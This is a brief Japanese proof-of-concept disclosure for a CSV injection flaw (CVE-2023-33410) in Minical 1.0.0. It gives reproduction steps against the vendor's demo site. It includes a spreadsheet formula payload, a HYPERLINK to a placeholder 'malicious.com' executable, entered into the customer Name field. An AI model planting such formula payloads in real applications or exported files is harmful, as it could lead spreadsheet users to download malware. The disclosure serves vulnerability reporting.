thirukrishnan/cve-2023-33410Minical 1.0.0におけるCSVインジェクション脆弱性を実証する概念実証で、ステップバイステップの再現手順とペイロード例を含みます。
Minical 1.0.0 は CSV インジェクションに対して脆弱です。
ベンダー: https://github.com/minical/minical
デモアプリケーション: https://demo.minical.io/
ステップ 1: Accounting モジュールに移動し、「Create New Customer」をクリックします。
ステップ 2: Name フィールドにペイロードを入力し、「Create」をクリックします。
Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere")
ステップ 3: 「Download CSV Report」をクリックして、ペイロードがレンダリングされるのを確認します。
